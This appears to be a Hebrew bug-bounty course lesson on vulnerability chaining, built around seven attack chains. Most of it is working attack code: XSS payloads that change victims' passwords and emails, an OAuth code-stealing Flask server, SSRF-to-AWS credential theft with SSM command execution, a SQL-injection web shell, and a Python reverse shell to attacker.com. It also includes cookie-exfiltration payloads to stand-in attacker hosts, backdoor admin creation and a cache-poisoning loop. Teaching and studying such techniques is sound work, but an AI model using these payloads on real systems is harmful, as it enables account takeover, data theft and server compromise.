שרשור חולשות - Vulnerability Chaining¶
מהו שרשור חולשות?¶
שרשור חולשות הוא הטכניקה של חיבור מספר חולשות אבטחה - שלעיתים כל אחת מהן לבדה אינה קריטית - לשרשרת תקיפה אחת שמשיגה אימפקט הרסני. זוהי אחת המיומנויות החשובות ביותר של חוקר אבטחה מנוסה.
חולשה בודדת ברמת Medium יכולה להיות משעממת. אבל כשמשרשרים שלוש חולשות ברמת Medium - התוצאה יכולה להיות Account Takeover מלא או RCE.
מתודולוגיה לשרשור חולשות¶
שלב 1 - מיפוי שטח התקיפה¶
לפני שמתחילים לחפש שרשראות, צריך להבין את היישום לעומק:
זרימת עבודה:
1. מיפוי כל נקודות הקצה של היישום
2. זיהוי מנגנוני אותנטיקציה ואוטוריזציה
3. הבנת הארכיטקטורה (מיקרו-שירותים, ענן, CDN)
4. מיפוי זרימות נתונים בין רכיבים
5. זיהוי אינטגרציות צד שלישי (OAuth, API חיצוניים)
שלב 2 - מציאת חולשות בודדות¶
לאסוף כל חולשה, גם אם נראית חסרת ערך:
- Open Redirect שנראה לא מנוצל
- Self-XSS שדורש אינטראקציה
- SSRF שמוגבל לפרוטוקולים מסוימים
- חשיפת מידע שנראית לא רגישה
- IDOR שחושף רק מידע ציבורי
שלב 3 - זיהוי חיבורים¶
לחפש קשרים בין החולשות:
שאלות מפתח:
- האם הפלט של חולשה אחת יכול לשמש כקלט לחולשה אחרת?
- האם חולשה אחת מספקת גישה שנדרשת לניצול חולשה אחרת?
- האם חולשה אחת עוקפת הגנה שמונעת ניצול של חולשה אחרת?
- האם שילוב של חולשות מעלה את רמת האימפקט?
שלב 4 - בניית שרשרת הניצול¶
לתכנן ולתעד את הזרימה המלאה מתחילתה ועד סופה.
שרשרת 1 - XSS ל-CSRF ל-Account Takeover¶
הרעיון¶
משרשרים XSS שמאפשר הרצת JavaScript בהקשר של הקורבן, עם CSRF שמבצע פעולות בשם הקורבן, כדי להשיג השתלטות מלאה על החשבון.
שלב א - מציאת XSS¶
נניח שמצאנו Stored XSS בשדה הפרופיל:
POST /api/profile HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123
{
"bio": "<img src=x onerror='eval(atob(\"BASE64_PAYLOAD\"))'>"
}
שלב ב - בדיקת CSRF על שינוי סיסמה¶
נבדוק את נקודת הקצה לשינוי סיסמה:
POST /api/change-password HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123
{
"new_password": "hacked123",
"confirm_password": "hacked123"
}
אם אין CSRF token או שהוא לא נבדק - יש לנו CSRF.
שלב ג - בניית הניצול המשורשר¶
// הקוד שמוזרק דרך ה-XSS
(async () => {
// שלב 1 - שינוי סיסמת הקורבן
await fetch('/api/change-password', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({
new_password: 'attacker_password_123',
confirm_password: 'attacker_password_123'
})
});
// שלב 2 - שינוי המייל של הקורבן
await fetch('/api/change-email', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({
new_email: 'attacker@evil.com'
})
});
// שלב 3 - שליחת הנתונים לשרת התוקף
const userData = await fetch('/api/me', {credentials: 'include'});
const data = await userData.json();
navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
username: data.username,
email: 'attacker@evil.com',
status: 'account_taken_over'
}));
})();
זרימת התקיפה המלאה¶
1. תוקף מזריק XSS לפרופיל שלו
2. קורבן צופה בפרופיל התוקף
3. ה-XSS מופעל בדפדפן הקורבן
4. JavaScript משנה את הסיסמה והמייל של הקורבן
5. תוקף מתחבר עם הסיסמה החדשה - Account Takeover מלא
שרשרת 2 - Open Redirect ל-OAuth Token Theft¶
הרעיון¶
ניצול Open Redirect באתר היעד כדי לגנוב tokens של OAuth.
שלב א - מציאת Open Redirect¶
GET /redirect?url=https://evil.com HTTP/1.1
Host: target.com
HTTP/1.1 302 Found
Location: https://evil.com
שלב ב - הבנת זרימת ה-OAuth¶
זרימה תקינה:
1. משתמש לוחץ "התחבר עם Google"
2. מועבר ל: https://accounts.google.com/o/oauth2/auth?
client_id=TARGET_CLIENT_ID&
redirect_uri=https://target.com/oauth/callback&
response_type=code&
scope=email+profile&
state=RANDOM_STATE
3. משתמש מאשר
4. Google מפנה בחזרה ל: https://target.com/oauth/callback?code=AUTH_CODE&state=RANDOM_STATE
5. target.com מחליפה את הקוד ב-access token
שלב ג - ניצול Open Redirect כ-redirect_uri¶
תקיפה:
1. תוקף שולח לקורבן קישור:
https://accounts.google.com/o/oauth2/auth?
client_id=TARGET_CLIENT_ID&
redirect_uri=https://target.com/redirect?url=https://evil.com/steal&
response_type=code&
scope=email+profile&
state=FAKE_STATE
2. הקורבן מאשר (רואה שהגישה היא ל-target.com)
3. Google מפנה ל: https://target.com/redirect?url=https://evil.com/steal&code=AUTH_CODE
4. ה-Open Redirect מפנה ל: https://evil.com/steal?code=AUTH_CODE
5. התוקף קיבל את ה-authorization code!
שרת לגניבת הטוקן¶
from flask import Flask, request
import requests
app = Flask(__name__)
TARGET_CLIENT_ID = "target_client_id"
TARGET_CLIENT_SECRET = "target_client_secret"
@app.route('/steal')
def steal_token():
auth_code = request.args.get('code')
# החלפת הקוד ב-access token
token_response = requests.post('https://target.com/oauth/token', data={
'grant_type': 'authorization_code',
'code': auth_code,
'redirect_uri': 'https://target.com/oauth/callback',
'client_id': TARGET_CLIENT_ID,
'client_secret': TARGET_CLIENT_SECRET
})
access_token = token_response.json().get('access_token')
# שימוש בטוקן לגישה לחשבון הקורבן
user_info = requests.get('https://target.com/api/me', headers={
'Authorization': f'Bearer {access_token}'
})
with open('stolen_tokens.log', 'a') as f:
f.write(f"Token: {access_token}\nUser: {user_info.text}\n\n")
return "Error occurred", 500 # הסתרת התקיפה
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
שרשרת 3 - SSRF ל-Cloud Metadata ל-RCE¶
הרעיון¶
ניצול SSRF כדי לגשת לשירות ה-metadata של הענן, גניבת credentials, ושימוש בהם להשגת RCE.
שלב א - מציאת SSRF¶
POST /api/fetch-url HTTP/1.1
Host: target.com
Content-Type: application/json
{
"url": "http://169.254.169.254/latest/meta-data/"
}
תגובה:
ami-id
ami-launch-index
ami-manifest-path
hostname
iam/
instance-id
instance-type
local-ipv4
public-ipv4
security-groups
שלב ב - גניבת AWS Credentials¶
POST /api/fetch-url HTTP/1.1
Host: target.com
Content-Type: application/json
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
תגובה:
בקשה נוספת:
POST /api/fetch-url HTTP/1.1
Host: target.com
Content-Type: application/json
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-production-role"
}
תגובה:
{
"Code": "Success",
"AccessKeyId": "ASIAXXXXXXXXXXX",
"SecretAccessKey": "wJalrXXXXXXXXXXXXXXXXXXX",
"Token": "FwoGZXIvYXdzEBYaDHXXXXXXXXXXXXXXX",
"Expiration": "2026-03-08T12:00:00Z"
}
שלב ג - שימוש ב-Credentials להשגת RCE¶
import boto3
import json
# שימוש ב-credentials שנגנבו
session = boto3.Session(
aws_access_key_id='ASIAXXXXXXXXXXX',
aws_secret_access_key='wJalrXXXXXXXXXXXXXXXXXXX',
aws_session_token='FwoGZXIvYXdzEBYaDHXXXXXXXXXXXXXXX',
region_name='us-east-1'
)
# בדיקת הרשאות
sts = session.client('sts')
identity = sts.get_caller_identity()
print(f"[+] ארן: {identity['Arn']}")
# ניסיון גישה ל-S3
s3 = session.client('s3')
buckets = s3.list_buckets()
print(f"[+] דליים: {[b['Name'] for b in buckets['Buckets']]}")
# ניסיון הרצת פקודות דרך SSM
ssm = session.client('ssm')
response = ssm.send_command(
InstanceIds=['i-0abcdef1234567890'],
DocumentName='AWS-RunShellScript',
Parameters={'commands': ['id; whoami; cat /etc/shadow']}
)
print(f"[+] פקודה נשלחה: {response['Command']['CommandId']}")
# ניסיון הרצת Lambda function
lambda_client = session.client('lambda')
response = lambda_client.invoke(
FunctionName='admin-function',
Payload=json.dumps({'command': 'cat /etc/passwd'})
)
print(f"[+] תוצאה: {response['Payload'].read().decode()}")
שרשרת IMDSv2¶
בסביבות עם IMDSv2, צריך שלב נוסף - קבלת token:
ואז שימוש בו:
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: TOKEN_VALUE
שרשרת 4 - IDOR ל-Information Disclosure ל-Privilege Escalation¶
שלב א - מציאת IDOR¶
GET /api/users/1001 HTTP/1.1
Host: target.com
Cookie: session=regular_user_session
HTTP/1.1 200 OK
{
"id": 1001,
"name": "Regular User",
"email": "user@target.com",
"role": "user"
}
שינוי ה-ID:
GET /api/users/1 HTTP/1.1
Host: target.com
Cookie: session=regular_user_session
HTTP/1.1 200 OK
{
"id": 1,
"name": "Admin User",
"email": "admin@target.com",
"role": "admin",
"api_key": "sk-admin-a8f3b2c1d4e5f6789",
"internal_ip": "10.0.1.50",
"last_login_ip": "192.168.1.100"
}
שלב ב - שימוש במידע שהתגלה¶
import requests
# שימוש ב-API key של האדמין
headers = {
'X-API-Key': 'sk-admin-a8f3b2c1d4e5f6789',
'Content-Type': 'application/json'
}
# הסלמת הרשאות - שינוי התפקיד שלנו לאדמין
response = requests.put(
'https://target.com/api/admin/users/1001',
headers=headers,
json={'role': 'admin'}
)
print(f"[+] הסלמת הרשאות: {response.status_code}")
# גישה לפאנל ניהול
admin_panel = requests.get(
'https://target.com/api/admin/dashboard',
headers=headers
)
print(f"[+] גישה לפאנל: {admin_panel.text[:200]}")
סקריפט אוטומטי לסריקת IDOR¶
import requests
import json
from concurrent.futures import ThreadPoolExecutor
BASE_URL = "https://target.com/api/users"
SESSION_COOKIE = "session=regular_user_session"
def check_user(user_id):
try:
response = requests.get(
f"{BASE_URL}/{user_id}",
headers={'Cookie': SESSION_COOKIE},
timeout=5
)
if response.status_code == 200:
data = response.json()
if data.get('role') == 'admin':
print(f"[!] נמצא אדמין - ID: {user_id}, "
f"שם: {data.get('name')}, "
f"מייל: {data.get('email')}")
return data
except Exception:
pass
return None
# סריקה מקבילית
with ThreadPoolExecutor(max_workers=10) as executor:
results = list(executor.map(check_user, range(1, 10000)))
admins = [r for r in results if r is not None]
print(f"\n[+] נמצאו {len(admins)} חשבונות אדמין")
שרשרת 5 - SQL Injection ל-File Write ל-RCE¶
שלב א - זיהוי SQL Injection¶
שלב ב - כתיבת Web Shell דרך INTO OUTFILE¶
GET /search?q=test' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/uploads/shell.php'-- HTTP/1.1
Host: target.com
אם יש הגבלה על INTO OUTFILE, ניתן לנסות דרך log poisoning:
-- שינוי נתיב הלוג
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/www/html/uploads/shell.php';
-- הזרקת PHP דרך שאילתה
SELECT '<?php system($_GET["cmd"]); ?>';
-- כיבוי הלוג
SET GLOBAL general_log = 'OFF';
שלב ג - הרצת פקודות דרך ה-Web Shell¶
import requests
SHELL_URL = "https://target.com/uploads/shell.php"
def execute(cmd):
response = requests.get(SHELL_URL, params={'cmd': cmd})
return response.text
# סריקה ראשונית
print(execute('id'))
print(execute('uname -a'))
print(execute('cat /etc/passwd'))
# Reverse shell
reverse_shell = (
"python3 -c 'import socket,subprocess,os;"
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
"s.connect((\"attacker.com\",4444));"
"os.dup2(s.fileno(),0);"
"os.dup2(s.fileno(),1);"
"os.dup2(s.fileno(),2);"
"subprocess.call([\"/bin/sh\",\"-i\"])'"
)
execute(reverse_shell)
שרשרת 6 - Prototype Pollution ל-XSS ל-Admin Account Takeover¶
שלב א - מציאת Prototype Pollution¶
// נקודת קצה שמקבלת JSON ועושה merge עמוק
// POST /api/settings
// {"__proto__": {"isAdmin": true}}
// או דרך query parameters:
// GET /page?__proto__[polluted]=true
שלב ב - ניצול ל-XSS¶
POST /api/user/settings HTTP/1.1
Host: target.com
Content-Type: application/json
{
"__proto__": {
"innerHTML": "<img src=x onerror='fetch(\"https://attacker.com/steal?c=\"+document.cookie)'>",
"srcdoc": "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>",
"onload": "fetch('https://attacker.com/steal?c='+document.cookie)"
}
}
שלב ג - גניבת סשן אדמין¶
// הקוד שרץ בהקשר של האדמין
(async () => {
// גניבת cookie
const cookies = document.cookie;
// גניבת CSRF token
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.content;
// יצירת חשבון אדמין חדש
await fetch('/admin/users/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
credentials: 'include',
body: JSON.stringify({
username: 'backdoor_admin',
password: 'P@ssw0rd123!',
role: 'super_admin',
email: 'attacker@evil.com'
})
});
// שליחת כל המידע לתוקף
navigator.sendBeacon('https://attacker.com/exfil', JSON.stringify({
cookies, csrfToken,
url: window.location.href
}));
})();
שרשרת 7 - Cache Poisoning ל-Stored XSS ל-Mass Account Compromise¶
שלב א - זיהוי Cache Poisoning¶
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
HTTP/1.1 200 OK
X-Cache: miss
...
<script src="https://evil.com/resources/main.js"></script>
בקשה נוספת (מהמטמון):
GET / HTTP/1.1
Host: target.com
HTTP/1.1 200 OK
X-Cache: hit
...
<script src="https://evil.com/resources/main.js"></script>
שלב ב - הגשת JavaScript זדוני¶
הקובץ main.js בשרת התוקף:
// שלב 1 - גניבת מידע מכל מבקר
const sessionData = {
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
url: window.location.href,
userAgent: navigator.userAgent
};
// שלב 2 - ניסיון לשנות סיסמה אם המשתמש מחובר
async function compromiseAccount() {
try {
// בדיקה אם המשתמש מחובר
const meResponse = await fetch('/api/me', {credentials: 'include'});
if (meResponse.status !== 200) return;
const user = await meResponse.json();
// שינוי המייל
await fetch('/api/settings/email', {
method: 'PUT',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({email: `${user.id}@attacker-domain.com`})
});
// בקשת איפוס סיסמה למייל החדש
await fetch('/api/reset-password', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: `${user.id}@attacker-domain.com`})
});
sessionData.userId = user.id;
sessionData.username = user.username;
sessionData.compromised = true;
} catch (e) {
sessionData.error = e.message;
}
// שליחת הנתונים
navigator.sendBeacon('https://attacker.com/mass-collect',
JSON.stringify(sessionData));
}
compromiseAccount();
שלב ג - הרחבת ההתקפה¶
import requests
import time
def poison_cache(target_url, evil_host):
"""הרעלת המטמון באופן מתמשך"""
while True:
for path in ['/', '/login', '/dashboard', '/profile']:
response = requests.get(
f"{target_url}{path}",
headers={
'X-Forwarded-Host': evil_host,
'X-Forwarded-Scheme': 'https'
}
)
cache_status = response.headers.get('X-Cache', 'unknown')
print(f"[*] {path}: Cache={cache_status}")
# שמירה על הרעלת המטמון
time.sleep(30)
poison_cache('https://target.com', 'evil.com')
איך לזהות חולשות הניתנות לשרשור¶
מטריצת שרשור¶
מקור (חולשה ראשונה) -> יעד (חולשה שנייה)
================================================
XSS -> CSRF, Session Hijacking, Keylogging
SSRF -> Cloud Metadata, Internal Services, Port Scan
Open Redirect -> OAuth Theft, Phishing, Token Leakage
IDOR -> Info Disclosure, Priv Escalation
SQLi -> Data Leak, File Write, RCE
Prototype Pollution -> XSS, Logic Bypass, DoS
Cache Poisoning -> XSS, Phishing, Mass Compromise
CORS Misconfiguration -> Data Theft, CSRF
CRLF Injection -> XSS, Session Fixation, Cache Poisoning
Path Traversal -> Source Code Disclosure, Config Leak
כלים לזיהוי שרשראות¶
# סקריפט פשוט שממפה חולשות פוטנציאליות ומציע שרשראות
CHAINS = {
'xss': ['csrf', 'session_hijack', 'account_takeover'],
'ssrf': ['metadata', 'internal_scan', 'rce'],
'open_redirect': ['oauth_theft', 'phishing'],
'idor': ['info_disclosure', 'privilege_escalation'],
'sqli': ['file_write', 'rce', 'data_exfiltration'],
'prototype_pollution': ['xss', 'logic_bypass'],
'cache_poisoning': ['xss', 'mass_compromise'],
}
def suggest_chains(found_vulns):
"""הצעת שרשראות על בסיס חולשות שנמצאו"""
suggestions = []
for vuln in found_vulns:
if vuln in CHAINS:
for target in CHAINS[vuln]:
suggestions.append(f"{vuln} -> {target}")
# בדיקת שרשרת עמוקה יותר
if target in CHAINS:
for deep_target in CHAINS[target]:
suggestions.append(
f"{vuln} -> {target} -> {deep_target}"
)
return suggestions
# דוגמה
found = ['ssrf', 'open_redirect', 'xss']
for chain in suggest_chains(found):
print(f"[*] שרשרת אפשרית: {chain}")
הכפלת אימפקט¶
טבלת הסלמה¶
חומרה מקורית שרשרת חומרה חדשה
=================================================================
Low (XSS) + CSRF + Password Change = Critical
Low (SSRF) + Cloud Metadata + RCE = Critical
Info (IDOR) + Admin API Key + Priv Escalation = Critical
Medium (SQLi) + File Write + Web Shell = Critical
Low (Redirect) + OAuth Theft + Account Takeover = High
Low (PP) + XSS + Admin Takeover = Critical
Medium (Cache) + XSS + Mass Compromise = Critical
דוגמה מעולם באגים אמיתי¶
דוח: Self-XSS בשדה הערות פנימי
חומרה מקורית: Informative (לא משלמים)
שרשרת: Self-XSS + Login CSRF + Stored XSS + Admin Panel Access
חומרה חדשה: Critical
תשלום: $15,000
סיכום¶
שרשור חולשות דורש חשיבה יצירתית והבנה עמוקה של היישום. הנקודות העיקריות:
- אסוף כל חולשה - גם אם נראית חסרת ערך
- מפה קשרים בין חולשות - מהי הפלט של אחת שיכול להיות קלט לאחרת
- חשוב על זרימות - איך נתונים עוברים בין רכיבים
- תרגל - בנה שרשראות על יישומים פגיעים
- תעד הכל - שרשרת טובה שמתועדת גרוע שווה פחות
בשיעור הבא נלמד איך להפוך ממצאים ברמת Low לממצאים קריטיים.